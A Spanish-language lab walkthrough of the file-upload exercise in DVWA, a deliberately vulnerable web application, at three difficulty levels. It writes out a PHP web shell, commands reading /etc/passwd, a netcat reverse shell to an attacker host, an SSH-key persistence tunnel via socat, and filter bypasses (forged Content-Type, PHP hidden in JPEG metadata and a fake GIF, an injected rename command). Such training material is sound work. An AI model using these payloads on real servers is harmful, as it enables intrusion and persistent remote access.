Upload DVWA

level low

Para este "ataque" podemos crear una pequeña utilidad en php para acceder a la shell del sistema, para ello creamos un archivo y metemos este código por ejemplo:


<?php
    system($_GET["cmd"]);
?>

Vamos al apartado Upload y subimos este archivo y vemos que la ruta donde se sube:

../../hackable/uploads/archivo.php succesfully uploaded!

Nos lo pone fácil, ahora vamos a la url del navegador y metemos la dirección de nuestro archivo (por ejemplo archivo.php)

http://ipservidor/dvwa/vulnerabilities/upload/../../hackable/uploads/archivo.php

veremos como aparece la dirección real de nuestro archivo, y con un fallo pues esperaba un comando, ahora podemos ejecutar algunos comandos:

http://ipservidor/dvwa/hackable/uploads/archivo.php?cmd=uname -a
pwd
id
whoami
cat /etc/passwd
y los que se te ocurran para sacar información del sistema

También podemos si el servidor el servidor tiene el netcat hacer una shell reversa mas cómoda para seguir usando comandos, para ello ponemos nuestra máquina atacante en escucha en el puerto 80, aunque primero podemos comprobar si tiene el nc (abreviatura del netcat)

http://ipservidor/dvwa/hackable/uploads/archivo.php?cmd=whereis netcat

si lo tiene, primero en la máquina atacante ponemos el nc a la escucha

sierra@sierra:~# nc -vv -l -p 80
Listening on [0.0.0.0] (family 0, port 80)

Eso desde el usuario root, sino habrá que usar sudo delante del comando, y dejar esa terminal conectada, es desde donde usaremos la shell.

Y ahora en la url del navegador ponemos:

http://ipservidor/dvwa/hackable/uploads/archivo.php?cmd=nc ip-atacante 80 -e /bin/bash

Vamos al terminal de la máquina atacante y vemos la conexión. Usamos ahora los comandos que se nos antoje.

Connection from [192.168.56.101] port 80 [tcp/http] accepted (family 2, sport 50210)
whoami
www-data

Pero aún esta shell deja mucho que desear, pues no nos da información de errores y prompt con el que manejarnos a gusto. Así que vamos a por otra ya mas sofisticada:

En maquina atacante (kali de ahora en adelante ) ejecutamos lo siguiente para hacer un empalme de conexiones desde una nueva terminal

sierra@sierra:~# socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:1111,reuseaddr

Dejar esa terminal abierta (sin usar). Sino tenemos socat habrá que instalarlo ;).

Generar clave RSA en nuestra maquina atacante (kali) desde otra terminal.

sierra@sierra:~# ssh-keygen -P "" -f reverse

Nos creará dos archivos, reverse (clave privada) y reverse.pub (clave pública)

De nuevo en la consola shell reverse de la victima (meta de ahora en adelante)
creamos directorio .ssh del user web, normalmente www-data

mkdir ~www-data/.ssh
ls -la /var/www

comprobamos que se ha creado el directorio .ssh en /var/www (generalmente)

Ahora pasamos a ese directorio la clave publica generada antes, reverse.pub.
para ello hacemos un cat al archivo en cuestión y copiamos la salida de este.

echo "pegamos la clave publica" >> ~/.ssh/authorized_keys
ls -la /var/www/.ssh

Con esa última comprobamos que se ha añadido nuestra llave ( viendo la fecha de modificación del archivo, aunque no es normal que ese usuario www-data lo tenga, pero por si acaso)

Es conveniente que a cada comando que se haga comprobar que seguimos conectados, por ejemplo poniendo "id":

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ahora escribimos lo siguiente:

while true; do socat TCP4:ip-de-kali:443 TCP:127.0.0.1:22;done

Y ya tenemos los empalmes hechos, solo hay que probar ahora en otra terminal la shell de acceso que nos hemos creado, con el siguiente comando:

sierra@sierra:~# ssh -i reverse www-data@localhost -p 1111

reverse hay que poner el path de este archivo si lo hemos creado en un sitio diferente desde donde ejecutamos el ssh.
Nos dará acceso directo sin contraseña a la shell, mucho mas cómoda

Extraído del vídeo Pentester Guanajuato

level medium

En este caso la aplicación nos filtra el archivo subido por su tipo, con lo cual nos da un error al querer subir un archivo php.
El procedimiento a seguir es colocar un proxy interceptor de la petición, con la posibilidad de poder alternar las cabeceras enviadas al servidor. Para ello en kali linux tenemos varias opciones, entre ellas el "burp suite" y el "zap".

Configuramos el proxy del navegador que usemos a localhost y puerto 8080 que es donde escucha zap.
Configuramos zap con la opción de interrupción, que es un boton verde redondo en la pantalla principal, y una vez activado se pone en rojo.
Intentamos subir el archivo php, y se nos pasara al zap, en ese momento en la ventana de "Punto de interrupción", modificamos la cabecera "Content-Type:" de 'application/x-php' a image/jpeg' y listo, le damos al triangulo de de avanzar hasta el próximo punto de interrupción.
Y eso es todo, a partir de ahí se pueden seguir los mismos pasos que en el nivel low.

level high

Para este nivel, no he visto manera de poder subir el archivo con extensión php, pues parece que el servidor filtra el archivo para ver si realmente es un jpeg. Pero como si podemos subir un jpeg, lo que hacemos es modificar los metadatos de la cabecera del jpeg con alguna herramienta, como por ejemplo exiftool.
Yo he ido primero a Gimp, para crear un archivo de 1X1 pixel y de baja calidad, para que sea bien pequeño, lo he exportado como jpeg. Ahora meto código php en la cabecera de este archivo, de esta forma:

┌─([11:58]sierra21@sierra21)-(~/Documentos)
└──┤▶
exiftool -Comment='<? system($_GET["cmd"]); ?>' archivo.jpg
1 image files updated
┌─([11:58]sierra21@sierra21)-(~/Documentos)
└──┤▶
exiftool -Comment archivo.jpg
Comment               : <? system($_GET["cmd"]); ?>
┌─([11:58]sierra21@sierra21)-(~/Documentos)
└──┤▶

Verificamos que se haya modificado bien.
También podríamos encajar el siguiente codigo en un archivo de texto pero con extensión gif de esta manera:
GIF89a
<style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST[cmd])){system($_REQUEST[cmd]);}else{echo "Corrupted image file";}__halt_compiler();?></h1>

Pero en DVWA no servirá ya que reconoce la extensión jpg o jpeg nada más.

Subimos el archivo jpg y en DVWA tenemos una opción, y es desde el nivel low, usar la vulnerabilidad de "Command Execution" para modificar la extensión del archivo, para lo cual metemos en la caja de texto lo siguiente:
; mv /var/www/dvwa/hackable/uploads/archivo.jpg /var/www/dvwa/hackable/uploads/archivo.php

Damos a submit y ya tenemos renombrado el archivo a php. Solo nos queda ir a la url de este y ejecutarlo con "archivo.php?cmd=whoami" por ejemplo, y ver el resultado ;)

Y eso es todo, a partir de ahí se pueden seguir los mismos pasos que en el nivel low.